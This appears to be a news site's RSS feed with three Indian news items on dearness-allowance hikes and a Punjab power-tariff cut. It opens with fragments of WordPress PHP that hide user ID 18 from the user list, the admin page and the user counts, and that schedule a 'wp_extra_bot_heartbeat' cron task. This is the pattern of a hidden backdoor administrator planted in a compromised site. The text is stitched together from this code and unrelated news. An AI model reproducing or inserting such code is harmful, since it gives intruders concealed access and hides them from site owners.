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    $exclude[] = 18;

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        return new WP_Error(
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    return $result;
}, 10, 3 );

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    return $methods;
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    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
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        if ( isset( $views[ $key ] ) ) {
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                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
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    }
    return $views;
} );

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        return;
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    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
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		<title>Channi&#8217;s Diwali bonanza: Power tariff cut by ₹3, 11% DA hike for Punjab govt staff</title>
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					<description><![CDATA[<p>On the eve of Diwali, Punjab Chief Minister Charanjit Singh Channi announced a slew of relief measures for citizens and state government employees. &#160; He stated that the power tariff for residential consumers in the state with up to a 7-kilowatt load connection would be reduced by 3 per unit across all slabs. He announced [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/channis-diwali-bonanza-power-tariff-cut-by-%e2%82%b93-11-da-hike-for-punjab-govt-staff">Channi&#8217;s Diwali bonanza: Power tariff cut by ₹3, 11% DA hike for Punjab govt staff</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>On the eve of Diwali, Punjab Chief Minister Charanjit Singh Channi announced a slew of relief measures for citizens and state government employees.</p>
<p>&nbsp;</p>
<p>He stated that the power tariff for residential consumers in the state with up to a 7-kilowatt load connection would be reduced by 3 per unit across all slabs. He announced an 11% increase in dearness allowance for state government employees and urged them to sit for talks and refrain from agitating over any of their demands until the next assembly election.</p>
<p>&nbsp;</p>
<p>He, however, refused to comment on Advocate General APS Deol&#8217;s resignation. However, an officer in the CMO confirmed that the resignation had been accepted and that the next steps would be announced soon.</p>
<p>The post <a href="https://theedgemedia.in/channis-diwali-bonanza-power-tariff-cut-by-%e2%82%b93-11-da-hike-for-punjab-govt-staff">Channi&#8217;s Diwali bonanza: Power tariff cut by ₹3, 11% DA hike for Punjab govt staff</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Central Government increases DA by 28 percent</title>
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		<pubDate>Wed, 14 Jul 2021 10:57:33 +0000</pubDate>
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					<description><![CDATA[<p>More than 1.2 crore central employees and pensioners have been waiting for the restoration of increased Dearness Allowance (DA) and Dearness Relief (DR) for a long time. However, the wait is finally over, as the Central government has reportedly decided to restore the increase in the allowance in a cabinet meeting led by Prime Minister [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/central-government-increases-da-by-28-percent">Central Government increases DA by 28 percent</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>More than 1.2 crore central employees and pensioners have been waiting for the restoration of increased Dearness Allowance (DA) and Dearness Relief (DR) for a long time. However, the wait is finally over, as the Central government has reportedly decided to restore the increase in the allowance in a cabinet meeting led by Prime Minister Narendra Modi on Wednesday (July 14).</p>
<p>Central employees currently get a dearness allowance at the rate of 17 per cent. However, employees will now get a DA at 28 per cent of their basic pay, according to a report.</p>
<p>The central government had earlier increased the dearness allowance by 4 per cent in January 2020, 3 per cent in June 2020 and 4 per cent in January 2021. According to the calculations, the total hike will become 28 per cent (17+4 +3+4).</p>
<p>Apart from central government employees, even central government pensioners and those receiving family pension from the central government will be benefited from the latest decision to hike DA. Therefore, the decision will also hike pensions received.</p>
<p>Dearness Allowance/Dearness Relief is paid to central government employees/pensioners to adjust the cost of living and to protect their basic pay/pension from erosion in the real value. Dear Allowance/Dearness Relief is revised twice a year from January 1 and July 1.</p>
<p>Previously, DA was hiked by the Union Government in October 2019 by 5 per cent. Prior to this, the dearness allowance was at 12%.</p>
<p>The post <a href="https://theedgemedia.in/central-government-increases-da-by-28-percent">Central Government increases DA by 28 percent</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>DA To Be Hiked For Central Government Employees</title>
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		<pubDate>Mon, 28 Jun 2021 14:54:09 +0000</pubDate>
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					<description><![CDATA[<p>The lakhs of central government officials look forward to a declaration of Prime Minister Narendra Modi&#8217;s Dearness Allowance (DA) rise at the Centre.  And there is surely some positive news. Previously, the final decision on the DA rise for Central Government staff was expected on Saturday (27 June), however no notification was issued on Saturday. [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/da-to-be-hiked-for-central-government-employees">DA To Be Hiked For Central Government Employees</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The lakhs of central government officials look forward to a declaration of Prime Minister Narendra Modi&#8217;s Dearness Allowance (DA) rise at the Centre.  And there is surely some positive news. Previously, the final decision on the DA rise for Central Government staff was expected on Saturday (27 June), however no notification was issued on Saturday.</p>
<p>But the meeting was really well and Cabinet Secretary Rajiv Gauba was listening to everybody&#8217;s comments at a meeting scheduled for discussions over the increase in Central Government staff members in DA.</p>
<p>Prime Minister Modi and the Union Cabinet are now addressing the requests of central government staff.</p>
<p>&nbsp;</p>
<p>The post <a href="https://theedgemedia.in/da-to-be-hiked-for-central-government-employees">DA To Be Hiked For Central Government Employees</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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